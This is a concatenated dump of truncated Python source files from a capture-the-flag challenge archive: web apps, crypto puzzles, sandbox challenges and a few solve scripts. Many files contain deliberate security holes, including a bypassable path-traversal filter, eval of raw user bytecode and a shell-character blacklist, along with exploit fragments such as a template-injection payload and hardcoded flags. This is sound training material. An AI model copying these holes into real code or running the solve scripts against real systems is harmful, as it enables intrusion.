key_func=get_remote_address,
default_limits=["120/minute"]
)
@app.route... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UACWS/2022/web/BlinderEye/views.py | ctfs/UACWS/2022/web/BlinderEye/views.py | from flask import request, send_from_directory, render_template
from app import app
import sqlite3
import hashlib
def checkSecret(_username, _password):
# check user exists
# connection object
connection_obj = sqlite3.connect('/challenge/app/data/blindereye.db')
# cursor object
cursor_obj = c... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/UACWS/2022/web/Missing_Out/app.py | ctfs/UACWS/2022/web/Missing_Out/app.py | from flask import Flask, send_from_directory, flash, request, redirect, url_for, render_template
from werkzeug.utils import secure_filename
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import logging, os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config[... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ricerca/2023/crypto/rotated-secret-analysis/chall.py | ctfs/Ricerca/2023/crypto/rotated-secret-analysis/chall.py | import os
from Crypto.Util.number import bytes_to_long, getPrime, isPrime
flag = os.environ.get("FLAG", "fakeflag").encode()
while True:
p = getPrime(1024)
q = (p << 512 | p >> 512) & (2**1024 - 1) # bitwise rotation (cf. https://en.wikipedia.org/wiki/Bitwise_operation#Rotate)
if isPrime(q): break
n = p * q
e ... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ricerca/2023/crypto/revolving-letters/chall.py | ctfs/Ricerca/2023/crypto/revolving-letters/chall.py | LOWER_ALPHABET = "abcdefghijklmnopqrstuvwxyz"
def encrypt(secret, key):
assert len(secret) <= len(key)
result = ""
for i in range(len(secret)):
if secret[i] not in LOWER_ALPHABET: # Don't encode symbols and capital letters (e.g. "A", " ", "_", "!", "{", "}")
result += secret[i]
else:
resul... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ricerca/2023/crypto/rsalcg/chall.py | ctfs/Ricerca/2023/crypto/rsalcg/chall.py | from Crypto.Util.number import getPrime, getRandomNBitInteger
import os
FLAG = os.getenv("FLAG", "RicSec{*** REDACTED ***}").encode()
def RSALCG(a, b, n):
e = 65537
s = getRandomNBitInteger(1024) % n
while True:
s = (a * s + b) % n
yield pow(s, e, n)
def encrypt(rand, msg):
assert len... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ricerca/2023/web/ps-converter/flag/flag_server.py | ctfs/Ricerca/2023/web/ps-converter/flag/flag_server.py | import os
from http.server import HTTPServer
from http.server import BaseHTTPRequestHandler
class MyHTTPRequestHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header('Content-type', "text/html")
self.end_headers()
self.wfile.write(b'<html>It works!</html>')
def... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ricerca/2023/web/cat-cafe/app.py | ctfs/Ricerca/2023/web/cat-cafe/app.py | import flask
import os
app = flask.Flask(__name__)
@app.route('/')
def index():
return flask.render_template('index.html')
@app.route('/img')
def serve_image():
filename = flask.request.args.get("f", "").replace("../", "")
path = f'images/{filename}'
if not os.path.isfile(path):
return flask.... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/Ricerca/2023/web/funnylfi/challenge/app/app.py | ctfs/Ricerca/2023/web/funnylfi/challenge/app/app.py | import subprocess
from flask import Flask, request, Response
app = Flask(__name__)
# Multibyte Characters Sanitizer
def mbc_sanitizer(url :str) -> str:
bad_chars = "!\"#$%&'()*+,-;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c"
for c in url:
try:
if c.encode("idna").decode() in bad_chars:
... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/manage.py | ctfs/justCTF/2021/pwn/PainterHell/web/manage.py | #!/usr/bin/env python
import os
import sys
if __name__ == "__main__":
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "icypis.settings")
from django.core.management import execute_from_command_line
execute_from_command_line(sys.argv)
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/icypis/settings.py | ctfs/justCTF/2021/pwn/PainterHell/web/icypis/settings.py | import os
import sys
BASE_DIR = os.path.abspath(os.path.join(os.path.abspath(os.path.dirname(__file__)), '..'))
SECRET_KEY = '@^77ppr3^qy@9r-ym^$(mvpj+=p!7ki3+2bt&32kgt-15a)(_@'
DEBUG = False
ALLOWED_HOSTS = [
'app'
]
INSTALLED_APPS = (
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.c... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/icypis/__init__.py | ctfs/justCTF/2021/pwn/PainterHell/web/icypis/__init__.py | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false | |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/icypis/wsgi.py | ctfs/justCTF/2021/pwn/PainterHell/web/icypis/wsgi.py | """
WSGI config for icypis project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/dev/howto/deployment/wsgi/
"""
import os
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "icypis.settings")
from django.core.wsg... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/icypis/urls.py | ctfs/justCTF/2021/pwn/PainterHell/web/icypis/urls.py | from django.conf.urls import include, url
urlpatterns = [
url(r'^tf/', include('tf.urls', namespace='tf')),
]
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/tf/views.py | ctfs/justCTF/2021/pwn/PainterHell/web/tf/views.py | import os
import hashlib
import random
import time
import re
from pathlib import Path
from django.http import HttpResponse
from django.conf import settings
from django.views.generic import View
from django.views.generic.base import TemplateResponseMixin
from ipware.ip import get_ip
from utils import steam
TF2_TEMP_D... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/tf/models.py | ctfs/justCTF/2021/pwn/PainterHell/web/tf/models.py | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false | |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/tf/__init__.py | ctfs/justCTF/2021/pwn/PainterHell/web/tf/__init__.py | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false | |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/tf/tests.py | ctfs/justCTF/2021/pwn/PainterHell/web/tf/tests.py | from django.test import TestCase
# Create your tests here.
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/tf/urls.py | ctfs/justCTF/2021/pwn/PainterHell/web/tf/urls.py | from django.conf.urls import url
from .views import ColorsView, HatsView
urlpatterns = [
url(r'^hats/$', HatsView.as_view(), name='hats'),
url(r'^colors/$', ColorsView.as_view(), name='colors'),
]
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/tf/migrations/__init__.py | ctfs/justCTF/2021/pwn/PainterHell/web/tf/migrations/__init__.py | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false | |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/utils/steam.py | ctfs/justCTF/2021/pwn/PainterHell/web/utils/steam.py | import urllib.parse
import urllib.request
import json
import hashlib
import socket
import datetime
import os
def send_request(url, data=None, post=False, is_json=False):
form_data = urllib.parse.urlencode(data) if data else ''
if post:
response = urllib.request.urlopen(url, form_data.encode()).read().... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2021/pwn/PainterHell/web/utils/__init__.py | ctfs/justCTF/2021/pwn/PainterHell/web/utils/__init__.py | # -*- coding: utf-8 -*-
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/pwn/PyPlugins/private/pyplugins.py | ctfs/justCTF/2023/pwn/PyPlugins/private/pyplugins.py | #!/usr/bin/env python3.10
import dis
import os
import sys
import re
import runpy
import py_compile
import requests
PLUGINS_PATH = "/plugins/"
TRUSTED_DOMAINS = [
'blackhat.day',
'veganrecipes.soy',
'fizzbuzz.foo',
]
def banner():
print("1. List known websites")
print("2. List plugins")
print... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/rev/thiefcat/thiefcat_server.py | ctfs/justCTF/2023/rev/thiefcat/thiefcat_server.py | import socket
HOST = "127.0.0.1"
PORT = 12345
welcome = b'''Welcome to jCTF RE adventure!
Session ID: c7b883235162dde58d4bd7bd1949d184''' + b'\x00' * 16340
lore = b'''You are in a forest holding a flag.
Suddenly a thunderstorm comes around...
Running away to the city, you drop the flag (flag.txt).
The weather cl... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/Vaulted/vaulted.py | ctfs/justCTF/2023/Vaulted/vaulted.py | from coincurve import PublicKey
import json
FLAG = 'justWTF{th15M1ghtB34(0Rr3CtFl4G!Right????!?!?!??!!1!??1?}'
PUBKEYS = ['025056d8e3ae5269577328cb2210bdaa1cf3f076222fcf7222b5578af846685103',
'0266aa51a20e5619620d344f3c65b0150a66670b67c10dac5d619f7c713c13d98f',
'0267ccabf3ae6ce4ac1107709f3e8d... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/crypto/Multi_Auth/private/src/index.py | ctfs/justCTF/2023/crypto/Multi_Auth/private/src/index.py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
import json
import hmac
from hashlib import sha256
from base64 import b64decode, b64encode
import binascii
FAILURE = {"success": False, "signature": ""}
def verify(key, msg, sig):
return hmac.compare_digest(sig, auth(key, msg))
def auth(key, ... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/crypto/Vaulted/vaulted.py | ctfs/justCTF/2023/crypto/Vaulted/vaulted.py | from coincurve import PublicKey
import json
FLAG = 'justWTF{th15M1ghtB34(0Rr3CtFl4G!Right????!?!?!??!!1!??1?}'
PUBKEYS = ['025056d8e3ae5269577328cb2210bdaa1cf3f076222fcf7222b5578af846685103',
'0266aa51a20e5619620d344f3c65b0150a66670b67c10dac5d619f7c713c13d98f',
'0267ccabf3ae6ce4ac1107709f3e8d... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/Aquatic_Delights/challenge/app.py | ctfs/justCTF/2023/web/Aquatic_Delights/challenge/app.py | #!/usr/bin/env python
import flask
import json
import sqlite3
from os import getenv
app = flask.Flask(__name__, static_url_path='/static')
DATABASE = None
def database_connection(func):
def wrapper(self, *args, **kwargs):
with sqlite3.connect('/tmp/shop.db') as con:
if hasattr(self, 'locked') ... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/Easy_Cloud_Auth/pow_solver.py | ctfs/justCTF/2023/web/Easy_Cloud_Auth/pow_solver.py | #!/usr/bin/env python3
import hashlib
import sys
prefix = sys.argv[1]
difficulty = int(sys.argv[2])
zeros = '0' * difficulty
def is_valid(digest):
if sys.version_info.major == 2:
digest = [ord(i) for i in digest]
bits = ''.join(bin(i)[2:].zfill(8) for i in digest)
return bits[:difficulty] == zeros... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/Safeblog/previous_ctfs/asis_hugeblog_solve.py | ctfs/justCTF/2023/web/Safeblog/previous_ctfs/asis_hugeblog_solve.py | #!/usr/bin/env python3
from Crypto.Cipher import AES
import requests
import zipfile
import base64
import io
import os
from pwn import p8,p16
target = 'http://hugeblog.asisctf.com:9000'
s = requests.session()
r = s.post(f'{target}/api/login',json={
'username':'lmao1337',
'password':'lmao1337'
}).json()
assert r['res... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/Safeblog/previous_ctfs/zer0pts_miniblog#_solve.py | ctfs/justCTF/2023/web/Safeblog/previous_ctfs/zer0pts_miniblog#_solve.py | from ptrlib import *
from itsdangerous import URLSafeTimedSerializer
from flask.sessions import TaggedJSONSerializer
import base64
import binascii
import hashlib
import json
import os
import requests
import zipfile
HOST = os.getenv("HOST", "localhost")
PORT = os.getenv("PORT", "8018")
CODE = "{{ request.application.... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/Safeblog/previous_ctfs/asis_hugeblog_app.py | ctfs/justCTF/2023/web/Safeblog/previous_ctfs/asis_hugeblog_app.py | #!/usr/bin/env python
from Crypto.Cipher import AES
from flask_session import Session
import base64
import datetime
import flask
import glob
import hashlib
import io
import json
import os
import re
import zipfile
app = flask.Flask(__name__)
app.secret_key = os.urandom(16)
app.encryption_key = os.urandom(16)
app.config... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/Safeblog/previous_ctfs/zer0pts_miniblog#_app.py | ctfs/justCTF/2023/web/Safeblog/previous_ctfs/zer0pts_miniblog#_app.py | #!/usr/bin/env python
from Crypto.Cipher import AES
import base64
import datetime
import flask
import glob
import hashlib
import io
import json
import os
import re
import zipfile
app = flask.Flask(__name__)
app.secret_key = os.urandom(16)
app.encryption_key = os.urandom(16)
BASE_DIR = './post'
TEMPLATE = """<!DOCTYPE... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/Safeblog/challenge/app.py | ctfs/justCTF/2023/web/Safeblog/challenge/app.py | #!/usr/bin/env python
from Crypto.Cipher import AES
from crc import Calculator, Crc32
import base64
import datetime
import flask
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
import glob
import hashlib
import io
import json
import os
import re
import zipfile
app = flask.Flask(__na... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/ESSAMTP/relay.py | ctfs/justCTF/2023/web/ESSAMTP/relay.py | from dns.resolver import resolve
from dns.exception import DNSException
from smtplib import SMTP
from functools import lru_cache
from subprocess import Popen
import signal
def handler(sig, frame):
raise RuntimeError("timeout")
signal.signal(signal.SIGALRM, handler)
Popen(['flask', 'run', '--host=0.0.0.0'])
... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2023/web/ESSAMTP/app.py | ctfs/justCTF/2023/web/ESSAMTP/app.py | import os
import ssl
from smtplib import SMTP
from flask import Flask, request
import traceback
ctx = ssl.create_default_context(cafile='cert.pem')
app = Flask(__name__)
@app.route('/', methods=['GET', 'POST'])
def hello():
addr = request.form.get('addr', '')
if request.method == 'POST':
s = SMTP()
... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/pwn/LeagueOfLamports/solution_template/solve.py | ctfs/justCTF/2022/pwn/LeagueOfLamports/solution_template/solve.py | #!/usr/bin/env python3
from pwn import *
from solana import *
from solana.publickey import PublicKey
# change this
HOST, PORT = args.get("HOST", "localhost"), int(args.get("PORT", 1337))
# path to the solution contract
filename = os.path.join(os.path.dirname(os.path.abspath(__file__)), "solution/dist/solution.so")
d... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/pwn/herpetology/herpetology.py | ctfs/justCTF/2022/pwn/herpetology/herpetology.py | #!/usr/bin/env -S python3 -u
import sys
print('length?')
length = int(sys.stdin.buffer.readline())
print('payload?')
payload = sys.stdin.buffer.read(length)
co = compile('','','exec')
eval(co.replace(co_code=payload))
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/crypto/fROStysSecondSignatureScheme/frosty.py | ctfs/justCTF/2022/crypto/fROStysSecondSignatureScheme/frosty.py | import json
import hashlib
from fastecdsa.curve import P192 as Curve
from fastecdsa.point import Point
from secrets import randbits
from server_config import flag, server_privkey_share, client_pubkey_share
N = Curve.q.bit_length()
server_pubkey_share = server_privkey_share * Curve.G
pubkey = client_pubkey_share + se... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/crypto/Frosty/frosty.py | ctfs/justCTF/2022/crypto/Frosty/frosty.py | import json
import hashlib
from fastecdsa.curve import P192 as Curve
from fastecdsa.point import Point
from secrets import randbits
from server_config import flag
N = Curve.q.bit_length()
registered_keys = {}
def read() -> dict:
return json.loads(input())
def write(m : dict):
print(json.dumps(m))
def par... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/web/Ninja/app/app.py | ctfs/justCTF/2022/web/Ninja/app/app.py | from app import app | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/web/Ninja/app/app/models.py | ctfs/justCTF/2022/web/Ninja/app/app/models.py | from app import db, login_manager
from flask_login import UserMixin
from werkzeug.security import generate_password_hash, check_password_hash
@login_manager.user_loader
def load_user(id):
return User.query.get(int(id))
class Consent(db.Model):
id = db.Column(db.Integer, primary_key=True)
id_user = db.Colu... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/web/Ninja/app/app/form.py | ctfs/justCTF/2022/web/Ninja/app/app/form.py | from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, BooleanField, SubmitField, TextAreaField, RadioField
from wtforms.validators import DataRequired, ValidationError, Length
from app.models import User
class LoginForm(FlaskForm):
username = StringField('Username', validators=[DataRequir... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/web/Ninja/app/app/config.py | ctfs/justCTF/2022/web/Ninja/app/app/config.py | import os
basedir = os.path.abspath(os.path.dirname(__file__))
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY', 'yolo-that-would-be-too-easy'*2)
SQLALCHEMY_DATABASE_URI = os.environ.get('DATABASE_URL') or 'sqlite:////tmp/app.db'
SQLALCHEMY_TRACK_MODIFICATIONS = False
| python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/web/Ninja/app/app/__init__.py | ctfs/justCTF/2022/web/Ninja/app/app/__init__.py | from flask import Flask
from app.config import Config
from flask_sqlalchemy import SQLAlchemy
from flask_migrate import Migrate
from flask_login import LoginManager
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
app = Flask(__name__, static_folder='static')
app.config.update(
S... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/web/Ninja/app/app/routes.py | ctfs/justCTF/2022/web/Ninja/app/app/routes.py | from flask import render_template, request, redirect, flash, url_for
from app import app, db
from app.models import Consent, User
from flask_login import login_user, logout_user, current_user, login_required
from .form import LoginForm, RegistrationForm, PostForm, ReportForm
from app import login_manager
from app impor... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/justCTF/2022/web/Ninja/bot/bot.py | ctfs/justCTF/2022/web/Ninja/bot/bot.py | import traceback
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.webdriver.common.by import By
import os
from flask import Flask, request
import tim... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/0xL4ugh/2024/misc/GitMeow_Revenge/banner.py | ctfs/0xL4ugh/2024/misc/GitMeow_Revenge/banner.py | monkey="""
โโโฑโโโโโโฒโโโHMโHM
โโฑโโโฑโโฒโฒโฒโโโโHMMM
โฑโโโฑโโฑโโโโโโฒโโฎโโ
โโโโโโฑโโฒโฑโโฒโโฎโโโ
โโโโฐโโโโโโโโโโฏโโ
โฒโโโฒโฑโโญโฎโโโณโฒโฒโโโ
โโฒโโโโญโโโโโฏโโโโโ
โโโฒโโฒโโโโโโโฑโฑโโโ
โโโโโโโโโโโโโโโฒโ
โโโโโโโโโโโโโฒโโโฒ
โโฑโโฒโโโโโโโโโฑโโฒโ
โโ โโโโฐโโโโโฏโโโโโ
โโฒโโโโฒโโโโโฑโโโโฑโโฒ
โโโฒโโโโโโโโโโโฑโฒโฒโฒโ
โโฑโโโโโโโโโโโโโฒโโ
โโฒโโโโฑโโโโโฒโโโโฑโ
Hmmmmmm... Try Harder ๐
""" | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/0xL4ugh/2024/misc/GitMeow_Revenge/challenge.py | ctfs/0xL4ugh/2024/misc/GitMeow_Revenge/challenge.py | import os
from banner import monkey
BLACKLIST = ["|", "\"", "'", ";", "$", "\\", "#", "*", "(", ")", "&", "^", "@", "!", "<", ">", "%", ":", ",", "?", "{", "}", "`","diff","/dev/null","patch","./","alias","push","grep","f4k3","fl4g","f0r","n00b5"]
def is_valid_utf8(text):
try:
text.encode('utf-8').decode(... | python | MIT | 129a3a9fe604443211fa4d493a49630c30689df7 | 2026-01-05T01:34:13.869332Z | false |
sajjadium/ctf-archives | https://github.com/sajjadium/ctf-archives/blob/129a3a9fe604443211fa4d493a49630c30689df7/ctfs/0xL4ugh/2024/misc/TerraMeow/banner.py | ctfs/0xL4ugh/2024/misc/TerraMeow/banner.py | monkey="""
โโโฑโโโโโโฒโโโHMโHM
โโฑโโโฑโโฒโฒโฒโโโโHMMM
โฑโโโฑโโฑโโโโโโฒโโฎโโ
โโโโโโฑโโฒโฑโโฒโโฎโโโ
โโโโฐโโโโโโโโโโฏโโ
โฒโโโฒโฑโโญโฎโโโณโฒโฒโโโ
โโฒโโโโญโโโโโฏโโโโโ
โโโฒโโฒโโโโโโโฑโฑโโโ
โโโโโโโโโโโโโโโฒโ
โโโโโโโโโโโโโฒโโโฒ
โโฑโโฒโโโโโโโโโฑโโฒโ
โโ โโโโฐโโโโโฏโโโโโ
โโฒโโโโฒโโโโโฑโโโโฑโโฒ
โโโฒโโโโโโโโโโโฑโฒโฒโฒโ
โโฑโโโโโโโโโโโโโฒโโ
โโฒโโโโฑโโโโโฒโโโโฑโ
Hmmmmmm... Try Harder ๐
"""
